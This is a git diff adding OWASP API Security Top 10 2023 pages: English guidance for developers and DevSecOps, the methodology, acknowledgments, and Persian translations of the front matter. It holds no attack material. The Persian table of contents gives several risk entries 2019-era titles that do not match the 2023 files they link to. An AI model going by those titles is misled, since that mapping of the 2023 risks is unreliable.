Cheat Sheet][6] + +### External + +* [CWE-20: Improper Input Validation][7] +* [CWE-200: Exposure of Sensitive Information to an Unauthorized Actor][8] +* [CWE-319: Cleartext Transmission of Sensitive Information][9] + +[1]: https://cheatsheetseries.owasp.org/cheatsheets/Web_Service_Security_Cheat_Sheet.html +[2]: https://www.owasp.org/index.php/Injection_Flaws +[3]: https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html +[4]: https://cheatsheetseries.owasp.org/cheatsheets/Injection_Prevention_Cheat_Sheet.html +[5]: https://cheatsheetseries.owasp.org/cheatsheets/Transport_Layer_Protection_Cheat_Sheet.html +[6]: https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html +[7]: https://cwe.mitre.org/data/definitions/20.html +[8]: https://cwe.mitre.org/data/definitions/200.html +[9]: https://cwe.mitre.org/data/definitions/319.html diff --git a/editions/2023/en/0xb0-next-devs.md b/editions/2023/en/0xb0-next-devs.md new file mode 100644 index 000000000..89139c49f --- /dev/null +++ b/editions/2023/en/0xb0-next-devs.md @@ -0,0 +1,38 @@ +# What's Next For Developers + +The task to create and maintain secure applications, or fixing existing +applications, can be difficult. It is no different for APIs. + +We believe that education and awareness are key factors to writing secure +software. Everything else required to accomplish the goal depends on +**establishing and using repeatable security processes and standard security +controls**. + +OWASP provides numerous free and open resources to help you address security. +Please visit the [OWASP Projects page][1] for a comprehensive list of available +projects. + +| | | +|-|-| +| **Education** | The [Application Security Wayfinder][2] should give you a good idea about what projects are available for each stage/phase of the Software Development LifeCycle (SDLC). For hands-on learning/training you can start with [OWASP **crAPI** - **C**ompletely **R**idiculous **API**][3] or [OWASP Juice Shop][4]: both have intentionally vulnerable APIs. The [OWASP Vulnerable Web Applications Directory Project][5] provides a curated list of intentionally vulnerable applications: you'll find there several other vulnerable APIs. You can also attend [OWASP AppSec Conference][6] training sessions, or [join your local chapter][7]. | +| **Security Requirements** | Security should be part of every project from the beginning. When defining requirements, it is important to define what "secure" means for that project. OWASP recommends you use the [OWASP Application Security Verification Standard (ASVS)][8] as a guide for setting the security requirements. If you're outsourcing, consider the [OWASP Secure Software Contract Annex][9], which should be adapted according to local law and regulations. | +| **Security Architecture** | Security should remain a concern during all the project stages. The [OWASP Cheat Sheet Series][10] is a good starting point for guidance on how to design security in during the architecture phase. Among many others, you'll find the [REST Security Cheat Sheet][11] and the [REST Assessment Cheat Sheet][12] as well the [GraphQL Cheat Sheet][13]. | +| **Standard Security Controls** | Adopting standard security controls reduces the risk of introducing security weaknesses while writing your own logic. Although many modern frameworks now come with effective built-in standard controls, [OWASP Proactive Controls][14] gives you a good overview of what security controls you should look to include in your project. OWASP also provides some libraries and tools you may find valuable, such as validation controls. | +| **Secure Software Development Life Cycle** | You can use the [OWASP Software Assurance Maturity Model (SAMM)][15] to improve your processes of building APIs. Several other OWASP projects are available to help you during the different API development phases e.g., the [OWASP Code Review Guide][16]. | + +[1]: https://owasp.org/projects/ +[2]: https://owasp.org/projects/#owasp-projects-the-sdlc-and-the-security-wayfinder +[3]: https://owasp.org/www-project-crapi/ +[4]: https://owasp.org/www-project-juice-shop/ +[5]: https://owasp.org/www-project-vulnerable-web-applications-directory/ +[6]: https://owasp.org/events/ +[7]: https://owasp.org/chapters/ +[8]: https://owasp.org/www-project-application-security-verification-standard/ +[9]: https://owasp.org/www-community/OWASP_Secure_Software_Contract_Annex +[10]: https://cheatsheetseries.owasp.org/ +[11]: https://cheatsheetseries.owasp.org/cheatsheets/REST_Security_Cheat_Sheet.html +[12]: https://cheatsheetseries.owasp.org/cheatsheets/REST_Assessment_Cheat_Sheet.html +[13]: https://cheatsheetseries.owasp.org/cheatsheets/GraphQL_Cheat_Sheet.html +[14]: https://owasp.org/www-project-proactive-controls/ +[15]: https://owasp.org/www-project-samm/ +[16]: https://owasp.org/www-project-code-review-guide/ diff --git a/editions/2023/en/0xb1-next-devsecops.md b/editions/2023/en/0xb1-next-devsecops.md new file mode 100644 index 000000000..7cf75e87d --- /dev/null +++ b/editions/2023/en/0xb1-next-devsecops.md @@ -0,0 +1,29 @@ +# What's Next For DevSecOps + +Due to their importance in modern application architectures, building secure +APIs is crucial. Security cannot be neglected, and it should be part of the +whole development life cycle. Scanning and penetration testing yearly are no +longer enough. + +DevSecOps should join the development effort, facilitating continuous security +testing across the entire software development life cycle. Your goal should be +to enhance the development pipeline with security automation, but without +impacting the speed of development. + +In case of doubt, stay informed, and refer to the [DevSecOps Manifesto][1]. + +| | | +|-|-| +| **Understand the Threat Model** | Testing priorities come from a threat model. If you don't have one, consider using [OWASP Application Security Verification Standard (ASVS)][2], and the [OWASP Testing Guide][3] as an input. Involving the development team will help to make them more security-aware. | +| **Understand the SDLC** | Join the development team to better understand the Software Development Life Cycle. Your contribution on continuous security testing should be compatible with people, processes, and tools. Everyone should agree with the process, so that there's no unnecessary friction or resistance. | +| **Testing Strategies** | Since your work should not impact the development speed, you should wisely choose the best (simple, fastest, most accurate) technique to verify the security requirements. The [OWASP Security Knowledge Framework][4] and [OWASP Application Security Verification Standard][2] can be great sources of functional and nonfunctional security requirements. There are other great sources for [projects][5] and [tools][6] similar to the one offered by the [DevSecOps community][7]. | +| **Achieving Coverage and Accuracy** | You're the bridge between developers and operations teams. To achieve coverage, not only should you focus on the functionality, but also the orchestration. Work close to both development and operations teams from the beginning so you can optimize your time and effort. You should aim for a state where the essential security is verified continuously. | +| **Clearly Communicate Findings** | Contribute value with less or no friction. Deliver findings in a timely fashion, within the tools development teams are using (not PDF files). Join the development team to address the findings. Take the opportunity to educate them, clearly describing the weakness and how it can be abused, including an attack scenario to make it real. | + +[1]: https://www.devsecops.org/ +[2]: https://owasp.org/www-project-application-security-verification-standard/ +[3]: https://owasp.org/www-project-web-security-testing-guide/ +[4]: https://owasp.org/www-project-security-knowledge-framework/ +[5]: http://devsecops.github.io/ +[6]: https://github.com/devsecops/awesome-devsecops +[7]: http://devsecops.org diff --git a/editions/2023/en/0xd0-about-data.md b/editions/2023/en/0xd0-about-data.md new file mode 100644 index 000000000..3e856f718 --- /dev/null +++ b/editions/2023/en/0xd0-about-data.md @@ -0,0 +1,73 @@ +# Methodology and Data + +## Overview + +For this list update, the OWASP API Security team used the same methodology used +for the successful and well adopted 2019 list, with the addition of a 3 month +[public Call for Data][1]. Unfortunately, this call for data did not result in +data that would have enabled a relevant statistical analysis of the most common +API security issues. + +However, with a more mature API security industry capable of providing direct +feedback and insights, the update process moved forward using the same +methodology as before. + +Arrived here, we believe to have a good forward-looking awareness document for +the next three or four years, more focused on modern APIs-specific issues. The +goal of this project isn't to replace other top 10 lists, but instead to cover +the existing and upcoming top API security risks that we believe the industry +should be aware and diligent about. + +## Methodology + +In the first phase, publicly available data about API security incidents were +collected, reviewed, and categorized. Such data were collected from bug bounty +platforms and publicly available reports. Only issues reported between 2019 and +2022 were considered. This data was used to give the team a sense of in which +direction the previous top 10 list should evolve as well as to help deal with +possible contributed data bias. + +A public [Call for Data][1] ran from September 1st and November 30th, 2022. In +parallel the project team started the discussion about what has changed since +2019. The discussion included the impact of the first list, feedback received +from the community, and new trends of API security. + +The project team promoted meetings with specialists on relevant API security +threats to get insights into how victims are impacted and how those threats can +be mitigated. + +This effort resulted in an initial draft of what the team believes were the ten +most critical API security risks. The [OWASP Risk Rating Methodology][2] was +used to perform the risk analysis. Prevalence ratings were decided from a +consensus among the project team members, based on their experience in the +field. For considerations on these matters, please refer to the [API Security +Risks][3] section. + +The initial draft was then shared for review with security practitioners with +relevant experience in the API security fields. Their comments were reviewed, +discussed, and when applicable included in the document. The resulting document +was [published as a Release Candidate][4] for [open discussion][5]. Several +[community contributions][6] were included into the final document. + +The list of contributors is available in the [Acknowledgments][7] section. + +## API Specific Risks + +The list is built to address security risks that are more specific to APIs. + +It does not imply that other generic application security risks don't exist in +API based applications. For example, we didn't include risks such as "Vulnerable +and Outdated Components" or "Injection", even though you might find them in API +based applications. These risks are generic, they don't behave differently in +APIs, nor their exploitation is different. + +Our goal is to increase the awareness of security risks that deserve special +attention in APIs. + +[1]: https://owasp.org/www-project-api-security/announcements/cfd/2022/ +[2]: https://www.owasp.org/index.php/OWASP_Risk_Rating_Methodology +[3]: ./0x10-api-security-risks.md +[4]: https://owasp.org/www-project-api-security/announcements/2023/02/api-top10-2023rc +[5]: https://github.com/OWASP/API-Security/issues?q=is%3Aissue+label%3A2023RC +[6]: https://github.com/OWASP/API-Security/pulls?q=is%3Apr+label%3A2023RC +[7]: ./0xd1-acknowledgments.md diff --git a/editions/2023/en/0xd1-acknowledgments.md b/editions/2023/en/0xd1-acknowledgments.md new file mode 100644 index 000000000..19bfb30a3 --- /dev/null +++ b/editions/2023/en/0xd1-acknowledgments.md @@ -0,0 +1,13 @@ +# Acknowledgments + +## Acknowledgments to Contributors + +We'd like to thank the following contributors who contributed publicly on +GitHub, or via other means: + +247arjun, abunuwas, Alissa Knight, Arik Atar, aymenfurter, Corey J. Ball, cyn8, +d0znpp, Dan Gordon, donge, Dor Tumarkin, faizzaidi, gavjl, guybensimhon, Inês +Martins, Isabelle Mauny, Ivan Novikov, jmanico, Juan Pablo, k7jto, LaurentCB, +llegaz, Maxim Zavodchik, MrPRogers, planetlevel, rahulk22, Roey Eliyahu, Roshan +Piyush, securitylevelup, sudeshgadewar123, Tatsuya-hasegawa, tebbers, vanderaj, +wenz, xplo1t-sec, Yaniv Balmas, ynvb diff --git a/editions/2023/en/images/cover.jpg b/editions/2023/en/images/cover.jpg new file mode 100644 index 000000000..db6e87f8d Binary files /dev/null and b/editions/2023/en/images/cover.jpg differ diff --git a/editions/2023/en/images/front-cc.png b/editions/2023/en/images/front-cc.png new file mode 100644 index 000000000..45f139804 Binary files /dev/null and b/editions/2023/en/images/front-cc.png differ diff --git a/editions/2023/en/images/front-wasp.png b/editions/2023/en/images/front-wasp.png new file mode 100644 index 000000000..5a163dd4b Binary files /dev/null and b/editions/2023/en/images/front-wasp.png differ diff --git a/editions/2023/en/images/license.png b/editions/2023/en/images/license.png new file mode 100644 index 000000000..124d3ba4d Binary files /dev/null and b/editions/2023/en/images/license.png differ diff --git a/editions/2023/en/images/owasp-logo.png b/editions/2023/en/images/owasp-logo.png new file mode 100644 index 000000000..b0af38b27 Binary files /dev/null and b/editions/2023/en/images/owasp-logo.png differ diff --git a/editions/2023/fa/0x00-header.md b/editions/2023/fa/0x00-header.md new file mode 100644 index 000000000..ad4770aaa --- /dev/null +++ b/editions/2023/fa/0x00-header.md @@ -0,0 +1,12 @@ +--- +title: '' +description: OWASP API Security Top 10 2023 edition +--- + +![OWASP LOGO](images/cover.jpg) + +| | | | +| - | - | - | +| [https://owasp.org](https://owasp.org) | این اثر تحت مجوز زیر توسعه داده شده است [Creative Commons Attribution-ShareAlike 4.0 International License][1] | ![Creative Commons License Logo](images/front-cc.png) | + +[1]: http://creativecommons.org/licenses/by-sa/4.0/ \ No newline at end of file diff --git a/editions/2023/fa/0x00-notice.md b/editions/2023/fa/0x00-notice.md new file mode 100644 index 000000000..6797a6fdf --- /dev/null +++ b/editions/2023/fa/0x00-notice.md @@ -0,0 +1,12 @@ +# اطلاعیه سپاسگزاری‌ها + +این نسخه متنی OWASP API Security Top 10 است که به عنوان مرجعی برای نسخه رسمی منتشر شده، در قالب یک سند قابل حمل (PDF) استفاده می شود. + +مشارکت در پروژه مانند نظرات، اصلاحات یا ترجمه ها باید در اینجا انجام شود. برای جزئیات بیشتر در مورد [نحوه مشارکت][1]، لطفاً به [CONTRIBUTING.md][1] مراجعه فرمایید. + + +* Erez Yallon +* Inon Shkedy +* Paulo Silva + +[1]: https://github.com/OWASP/API-Security/blob/master/CONTRIBUTING.md diff --git a/editions/2023/fa/0x00-toc.md b/editions/2023/fa/0x00-toc.md new file mode 100644 index 000000000..41061ea5d --- /dev/null +++ b/editions/2023/fa/0x00-toc.md @@ -0,0 +1,23 @@ +# فهرست مطالب + +* [ فهرست مطالب](0x00-toc.md) +* [درباره OWASP](0x01-about-owasp.md) +* [ پیش‌گفتار](0x02-foreword.md) +* [ مقدمه](0x03-introduction.md) +* [ یادداشت](0x04-release-notes.md) +* [ ریسک‌های امنیت API](0x10-api-security-risks.md) +* [ ده ریسک امنیت API OWASP 2023](0x11-t10.md) +* [API1:2023 مجوزدهی نادرست در سطح اشیا](0xa1-broken-object-level-authorization.md) +* [API2:2023 احرازهویت نادرست کاربر](0xa2-broken-authentication.md) +* [API3:2023 افشای مفرط داده](0xa3-broken-object-property-level-authorization.md) +* [API4:2023 کمبود منابع و نبود محدودیت بر نرخ ارسال](0xa4-unrestricted-resource-consumption.md) +* [API5:2023 مجوزدهی نادرست در سطح توابع](0xa5-broken-function-level-authorization.md) +* [API6:2023 تخصیص جمعی](0xa6-unrestricted-access-to-sensitive-business-flows.md) +* [API7:2023 پیکربندی امنیتی نادرست](0xa7-server-side-request-forgery.md) +* [API8:2023 تزریق ورودی‌های مخرب](0xa8-security-misconfiguration.md) +* [API9:2023 مدیریت نادرست دارایی‌ها](0xa9-improper-inventory-management.md) +* [API10:2023 پایش و نظارت ناکافی](0xaa-unsafe-consumption-of-apis.md) +* [ادامه برای توسعه دهندگان](0xb0-next-devs.md) +* [ ادامه برای DevSecOps](0xb1-next-devsecops.md) +* [ متدولوژی و داده](0xd0-about-data.md) +* [سپاسگزاری](0xd1-acknowledgments.md) diff --git a/editions/2023/fa/0x01-about-owasp.md b/editions/2023/fa/0x01-about-owasp.md new file mode 100644 index 000000000..62dc84ea7 --- /dev/null +++ b/editions/2023/fa/0x01-about-owasp.md @@ -0,0 +1,43 @@ +# درباره OWASP + +پروژه بازمتن امنیت وب اپلیکیشن‌ها (OWASP) جامعه ای باز و آزاد است که اختصاصا در حوزه توانمندسازی سازمان‌ها در حوزه توسعه، تهیه و ایجاد اپلیکیشن‌ها و APIهای قابل اعتماد فعالیت دارد. + در OWASP، موارد زیر را بصورت رایگان و آزاد خواهید یافت: + +- استانداردها و ابزارهای امنیت اپلیکیشن. +- کتاب‌هایی درباره تست امنیت اپلیکیشن‌ها، توسعه ایمن کد و بازبینی امنیت کد. +- ارائه‌ها و [ویدئوها][1]. +- [راهنما و برگه تقلب][2] برای بسیاری از موضوعات رایج. +- کنترل‌ها و کتابخانه‌های استاندارد در حوزه امنیت. +- [شعب محلی در سرتاسر جهان][3]. +- تحقیقات به روز و پیشرو در حوزه امنیت. +- [کنفرانس‌های تخصصی][4] در سرتاسر جهان. +- [یست‌های پست الکترونیک][5] [آرشیو][6] + +اطلاعات بیشتر در: [https://owasp.org][7] + +تمامی ابزارها، مستندات، ویدئوها، ارائه‌ها و شعب OWASP رایگان بوده و استفاده از یا مشارکت در آنها برای کلیه افرادی که تمایل به بهبود امنیت اپلیکیشن‌ها دارند، آزاد است. + +در OWASP امنیت اپلیکیشن بعنوان مساله‌ای مهم از منظر افراد، فرایندها و فناوری‌ها در نظر گرفته می‌شود چرا که موثرترین رویکردها در امنیت اطلاعات نیز به بهبود در این حوزه‌ها نیاز دارند. + +OWASP تعریف جدیدی از سازمان ارائه می‌دهد. رهایی از بند فشار مسائل مالی امکان فراهم آوردن اطلاعات بیطرفانه، عملی و مقرون به صرفه در حوزه امنیت اپلیکیشن‌ها را به ما داده است. + +OWASP به هیچ کمپانی فناوری وابستگی ندارد اگرچه از استفاده آگاهانه از فناوری‌های تجاری در حوزه امنیت نیز حمایت می‌کنیم. OWASP انواع مختلفی از اطلاعات را به گونه‌ای همکارانه، شفاف و باز ارائه می‌دهد. + +بنیاد OWASP موجودیتی غیرانتفاعی و عام المنفعه است که توفیق بلند مدت پروژه OWASP را تضمین می‌نماید. تقریبا تمامی کسانی که با OWASP پیوند دارند، از قبیل اعضای هیئت مدیره، روسای شعبه‌ها، راهبران پروژه‌ها و اعضای پروژه‌ها داوطلبانه این همکاری را انجام می‌دهند. همچنین ما از تحقیقات نوآورانه در حوزه امنیت با ارائه کمک‌های مالی و زیرساختی حمایت می‌کنیم. + +به ما بپیوندید! + +## حق چاپ و مجوز + +![license](images/license.png) + +حق چاپ © 2003-2023 بنیاد OWASP. این اثر تحت مجوز [Creative Commons Attribution ShareAlike 4.0 International License][8] توسعه داده شده است. برای هرگونه استفاده مجدد یا انتشار، باید شرایط مجوز این اثر را برای دیگران شفاف نمایید. + +[1]: https://www.youtube.com/user/OWASPGLOBAL +[2]: https://cheatsheetseries.owasp.org/ +[3]: https://owasp.org/chapters/ +[4]: https://owasp.org/events/ +[5]: https://groups.google.com/a/owasp.org/forum/#!overview +[6]: https://lists.owasp.org/mailman/listinfo +[7]: https://www.owasp.org +[8]: http://creativecommons.org/licenses/by-sa/4.0/ diff --git a/editions/2023/fa/0x02-foreword.md b/editions/2023/fa/0x02-foreword.md new file mode 100644 index 000000000..6cd3f72e6 --- /dev/null +++ b/editions/2023/fa/0x02-foreword.md @@ -0,0 +1,31 @@ +# FW پیشگفتار + +در دنیای مبتنی بر App امروز، یکی از ابعاد بنیادین نوآوری واسط برنامه نویسی اپلیکیشن یا همان API ها هستند. از بانک‌‌ها گرفته تا خرده فروشی‌‌ها، حوزه حمل نقل، اینترنت اشیا، وسائل نقلیه خودران و شهرهای هوشمند، APIها بخشی حیاتی از اپلیکیشن‌‌های موبایل، وب و SaaS به شمار می‌آیند. + +APIها ذاتا منطق اپلیکیشن و داده‌‌های حساسی از قبیل PII (داده‌‌هایی که به تنهایی و بدون نیاز به داده اضافی دیگر، هویت یک کاربر را عیان می کنند نظیر شماره ملی) را در معرض دید قرارداده و در نتیجه، به طور روزافزون توجه بخش بیشتری از مهاجمین را به خود جلب می‌نمایند. بدون داشتن APIهایی ایمن، توسعه سریع نوآوری‌‌های فناورانه، امکان پذیر نخواهد بود. + +اگر چه کماکان می‌توان از لیست ده آسیب‌پذیری امنیتی بحرانی وب اپلیکیشن‌‌ها نیز برای امنیت APIها بهره برد، اما با توجه به ماهیت خاص APIها نیاز به لیستی از تهدیدات امنیتی مختص آنها احساس می‌شود. مقوله امنیت API بر راهکارها و استراتژی‌‌های لازم برای فهم و رفع آسیب‌پذیری‌‌ها و تهدیدات امنیتی خاص و منحصر به APIها تمرکز دارد. + +اگر با پروژه [OWASP Top 10][1] آشنایی داشته باشید، شباهت‌‌هایی بین آن و مستند پیش رو خواهید یافت: هر دو با نیت فهم آسان توسط مخاطب و قابلیت بکارگیری و انطباق در سازمان تهیه شده‌اند. در صورتی که با مجموعه‌‌های OWASP Top 10 آشنایی ندارید، بهتر است پیش از رفتن به سراغ لیست اصلی، بخش‌‌های [API ریسک‌های امنیتی][2] و [متدولوژی و داده][3] از همین مستند را مطالعه نمایید. + +با پرسش‌‌ها، نظرات و ایده‌‌های خود در GitHub پروژه می توانید در توسعه OWASP API Security Top 10 مشارکت کنید: + +* [https://owasp.org/www-project-api-security][5] +* [https://github.com/OWASP/API-Security/blob/master/CONTRIBUTING.md][6] + +در اینجا می توانید OWASP API Security Top 10 را بیابید: + +* [https://owasp.org/www-project-api-security][7] +* [https://github.com/OWASP/API-Security][8] + +بدین وسیله از تمامی مشارکت کنندگان در این پروژه که با تلاش‌‌های خود در بوجود آمدن آن نقش داشته اند سپاسگزاریم. لیست تمامی آنها در قسمت [سپاسگزاری‌ها][4] قابل مشاهده است. متشکریم! + + +[1]: https://owasp.org/www-project-top-ten/ +[2]: ./0x10-api-security-risks.md +[3]: ./0xd0-about-data.md +[4]: ./0xd1-acknowledgments.md +[5]: https://owasp.org/www-project-api-security/ +[6]: https://github.com/OWASP/API-Security/blob/master/CONTRIBUTING.md +[7]: https://owasp.org/www-project-api-security/ +[8]: https://github.com/OWASP/API-Security diff --git a/editions/2023/fa/0x03-introduction.md b/editions/2023/fa/0x03-introduction.md new file mode 100644 index 000000000..d63414c60 --- /dev/null +++ b/editions/2023/fa/0x03-introduction.md @@ -0,0 +1,39 @@ +# مقدمه + +## به OWASP API Security Top 10 - 2023 خوش آمدید! + +به OWASP API Security Top 10 – 2023 خوش آمدید! +به دومین ویراست ده ‌‌آسیب‌پذیری برتر امنیت API خوش آمدید. از زمان انتشار نسخه قبلی این سند در سال 2019، صنعت امنیت API به شدت رشد و تکامل یافته و اکنون می‌توان گفت که به بلوغ رسیده است. ما بر این باور هستیم که این مستند به عنوان مرجعی معتبر در صنعت امنیت به سرعت پذیرفته شده و به توسعه و پیشرفت آن کمک شایانی کرده است. +API نقش مهمی در معماری اپلیکیشن‌‌های مدرن امروزی دارد. از آنجا که آگاهی بخشی امنیتی و نوآوری در این حوزه گام‌‌های مختلفی دارد، تمرکز بر نقاط ضعف رایج API‌ها اهمیت زیادی خواهد داشت. +هدف اصلی مستند و پروژه ده ‌‌آسیب‌پذیری بحرانی امنیت API آموزش افراد دخیل در توسعه و نگهداری API‌ها از قبیل توسعه دهندگان، طراحان، معماران، مدیران و سازمان‌‌ها است. برای کسب اطلاعات بیشتر در مورد پروژه امنیت API، می‌توانید به [صفحه پروژه][1] مراجعه کنید. +اگر با مجموعه OWASP Top 10 آشنا نیستید، پیشنهاد می‌کنیم به پروژه‌های زیر از این مجموعه را مطالعه کنید: + +- [OWASP Cloud-Native Application Security Top 10][2] +- [OWASP Desktop App Security Top 10][3] +- [OWASP Docker Top 10][4] +- [OWASP Low-Code/No-Code Top 10][5] +- [OWASP Machine Learning Security Top Ten][6] +- [OWASP Mobile Top 10][7] +- [OWASP TOP 10][8] +- [OWASP Top 10 CI/CD Security Risks][9] +- [OWASP Top 10 Client-Side Security Risks][10] +- [OWASP Top 10 Privacy Risks][11] +- [OWASP Serverless Top 10][12] + +در [بخش متدلوژی و داده][13]، اطلاعات بیشتری درباره نحوه ایجاد اولین نسخه از مستند حاضر خواهید یافت. در نسخه‌‌های آتی، جامعه امنیت را نیز دخیل نموده و به منظور دریافت داده‌‌های مرتبط، فراخوان عمومی خواهیم داد. در حال حاضر همگان را به مشارکت در [انباره داده Github][14] یا [لیست پست الکترونیک ما][15] از طریق ارسال سوال، نظر و پیشنهاد تشویق می‌کنیم. + +[1]: https://owasp.org/www-project-api-security/ +[2]: https://owasp.org/www-project-cloud-native-application-security-top-10/ +[3]: https://owasp.org/www-project-desktop-app-security-top-10/ +[4]: https://owasp.org/www-project-docker-top-10/ +[5]: https://owasp.org/www-project-top-10-low-code-no-code-security-risks/ +[6]: https://owasp.org/www-project-machine-learning-security-top-10/ +[7]: https://owasp.org/www-project-mobile-top-10/ +[8]: https://owasp.org/www-project-top-ten/ +[9]: https://owasp.org/www-project-top-10-ci-cd-security-risks/ +[10]: https://owasp.org/www-project-top-10-client-side-security-risks/ +[11]: https://owasp.org/www-project-top-10-privacy-risks/ +[12]: https://owasp.org/www-project-serverless-top-10/ +[13]: ./0xd0-about-data.md +[14]: https://github.com/OWASP/API-Security +[15]: https://groups.google.com/a/owasp.org/forum/#!forum/api-security-project diff --git a/editions/2023/fa/0x04-release-notes.md b/editions/2023/fa/0x04-release-notes.md new file mode 100644 index 000000000..709a0b04a --- /dev/null +++ b/editions/2023/fa/0x04-release-notes.md @@ -0,0 +1,20 @@ +# یادداشت + +مستند پیش رو دومین ویراست ده ‌‌آسیب‌پذیری بحرانی امنیت API می‌باشد که دقیقاً چهار سال پس از نسخه اول آن منتشر شده است. در طول این چهار سال، تغییرات زیادی در زمینه امنیت API رخ داده است. از جمله این تغییرات می‌توان به موارد زیر اشاره کرد: افزایش چشمگیر تعداد تراکنش‌ها و ارتباطات صورت گرفته از طریق APIها، رشد بیشتر پروتکل‌های API، شرکت‌ها و راه‌حل‌های جدید در حوزه API و توسعه مهارت‌ها و تکنیک‌های جدید توسط مهاجمان برای نفوذ به APIها. با توجه به این موارد، وقت آن رسیده بود که لیست ده آسیب‌پذیری برتر امنیتی به‌روز شود. + +با رشد و بهبود در صنعت امنیت API، برای نخستین بار، درخواستی عمومی برای [جمع‌آوری داده][1] در این زمینه ‌صورت گرفت. متأسفانه هیچ داده‌ای توسط افراد ارائه نشده، اما بر اساس تجربیات تیم پروژه، بازبینی دقیق از سوی متخصصان امنیت API و دریافت بازخورد از جامعه تخصصی در مورد نسخه آزمایشی، لیست جدیدی ایجاد شده است. برای آشنایی بیشتر با نحوه آماده سازی این مستند می‌توانید به [بخش متدولوژی و داده][2] مراجعه نمایید. همچنین جزئیات ریسک‌های امنیتی مرتبط در [بخش ریسک‌‌‌های امنیتی API][3] قابل مطالعه هستند. + +OWASP API Security Top 10 2023 مستندی آگاهی‌بخش است که آینده صنعت امنیت API را مورد توجه قرار می‌دهد. این مستند به دلیل تغییرات و تحولات سریع در امنیت منتشر شده و هدف آن ارتقاء آگاهی از ریسک‌های امنیتی مرتبط با API است. مستند حاضر، جایگزینی برای دیگر لیست‌های TOP 10 OWASP محسوب نمی‌شود. در این ویرایش به تعدادی از ریسک‌های مهم امنیتی مرتبط با API پرداخته شده که عبارتند از: +• دو مورد "افشای مفرط داده " و "تخصیص جمعی*" با یکدیگر تلفیق شده‌اند و تمرکز بیشتری بر روی عامل مشترک آن‌ها، یعنی نقض اعتبارسنجی مجوز در سطح ویژگی‌های شیء* گذاشته‌ایم. +• در برخی موارد به جای اهمیت دادن به مدیریت موثر منابع و کنترل آنها تا زمان اتمام، فقط به مصرف فعلی منابع توجه می‌کنیم. +• با ایجاد دسته‌بندی جدیدی به نام "دسترسی بدون ‌محدودیت به جریان‌های حساس کسب‌وکار"، بر دسته جدیدی از تهدیدات تمرکز کردیم. این تهدیدات معمولاً با استفاده از محدود کردن نرخ دسترسی به جریان‌های حساس مرتبط، کاهش پیدا می‌کنند. این اقدام به ارتقاء امنیت در مقابل این تهدیدات کمک خواهد کرد. +• عنصر "استفاده ناایمن از APIها" را به لیست اضافه کرده‌ایم تا به رفتار جدیدی که اخیراً مشاهده شده، توجه داشته باشیم. موضوع نام برده شده، به این اشاره دارد که مهاجمان به جای حمله مستقیم به APIهای هدف، به دنبال نقاط ضعف در خدمات متکامل هدف می‌گردند تا از طریق آن‌ها به هدف خود نفوذ کنند. این مسئله به مرور زمان افزایش یافته و اکنون زمان مناسبی است تا به جامعه درباره این خطر در حال افزایش، اطلاع‌رسانی شود. + +فهم تغییرات اساسی در معماری اپلیکیشن‌ها در سالیان گذشته از اهمیت زیادی برخوردار است. امروره APIها نقشی کلیدی در معماری ریزسرویس‌ها، اپلیکیشن‌های تک صفحه ای (SPA )، اپلیکیشن‌های موبایل، اینترنت اشیاء و ... دارند. + +پروژه حاضر، حاصل تلاش فوق‌العاده داوطلبانه افراد متعددی بوده که بدون آن‌ها، به سرانجام رساندن آن امکان‌پذیر نبود که در [بخش تقدیر و تشکر][4]، از آن‌ها نام برده شده است. متشکریم! + +[1]: https://owasp.org/www-project-api-security/announcements/cfd/2022/ +[2]: ./0xd0-about-data.md +[3]: ./0x10-api-security-risks.md +[4]: ./0xd1-acknowledgments.md diff --git a/editions/2023/fa/0x10-api-security-risks.md b/editions/2023/fa/0x10-api-security-risks.md new file mode 100644 index 000000000..59a92caae --- /dev/null +++ b/editions/2023/fa/0x10-api-security-risks.md @@ -0,0 +1,37 @@ +# RISK ریسک های امنیتی API + +به منظور تحلیل ریسک، از متدولوژی رتبه بندی ریسک OWASP استفاده شده است. +جدول زیر، واژگان مرتبط با رتبه ریسک را مختصرا نشان می‌دهد. + +| عوامل تهدید | قابلیت بهره برداری | میزان شیوع آسیب‌پذیری | قابلیت شناسایی آسیب‌پذیری | پیامد فنی | تاثیر بر کسب و کار | +|----------------|--------------------|-----------------------|----------------------------|------------|----------------------| +| خاص API | آسان: 3 | گسترده: 3 | آسان: 3 | شدید: 3 | خاص کسب و کار | +| | متوسط: 2 | متداول: 2 | متوسط: 2 | متوسط: 2 | | +| | سخت: 1 | سخت: 1 | سخت: 1 | جزئی: 1 | | + +در این رویکرد، نوع فناوری مورد استفاده و احتمال وقوع آسیب‌پذیری در رتبه ریسک تاثیر ندارند؛ بعبارت دیگر در این روش رتبه بندی ریسک، راهکار مورد استفاده برای ‌‌‌‌پیاده‌سازی API، با رویکردی مستقل از جزئیات فناوری به ارزیابی ریسک می‌پردازد. هرکدام از عوامل یاد شده می‌تواند در پیداکردن و سواستفاده از یک آسیب‌پذیری به مهاجم کمک بسزایی کند. این رتبه بندی تاثیر واقعی بر کسب و کارها را نشان نداده و این سازمان‌ها هستند که با توجه به نوع کسب و کار و فرهنگ سازمانی خود، در میزان پذیرش خطر امنیتی استفاده از اپلیکیشن‌ها و APIها تصمیم گیرنده هستند. هدف از مستند ده آسیب‌پذیری بحرانی امنیت API، تحلیل ریسک نیست. + +## مراجع + +### OWASP + +- [OWASP Risk Rating Methodology][1] +- [Article on Threat/Risk Modeling][2] + +### خارجی + +- [ISO 31000: Risk Management Std][3] +- [ISO 27001: ISMS][4] +- [NIST Cyber Framework (US)][5] +- [ASD Strategic Mitigations (AU)][6] +- [NIST CVSS 3.0][7] +- [Microsoft Threat Modeling Tool][8] + +[1]: https://owasp.org/www-project-risk-assessment-framework/ +[2]: https://owasp.org/www-community/Threat_Modeling +[3]: https://www.iso.org/iso-31000-risk-management.html +[4]: https://www.iso.org/isoiec-27001-information-security.html +[5]: https://www.nist.gov/cyberframework +[6]: https://www.asd.gov.au/infosec/mitigationstrategies.htm +[7]: https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator +[8]: https://www.microsoft.com/en-us/download/details.aspx?id=49168 diff --git a/editions/2023/fa/0x11-t10.md b/editions/2023/fa/0x11-t10.md new file mode 100644 index 000000000..eeadb7836 --- /dev/null +++ b/editions/2023/fa/0x11-t10.md @@ -0,0 +1,28 @@ +# ده ‌‌‌آسیب‌پذیری بحرانی امنیت API از منظر OWASP – 2023 + +| ریسک امنیتی | توضیحات | 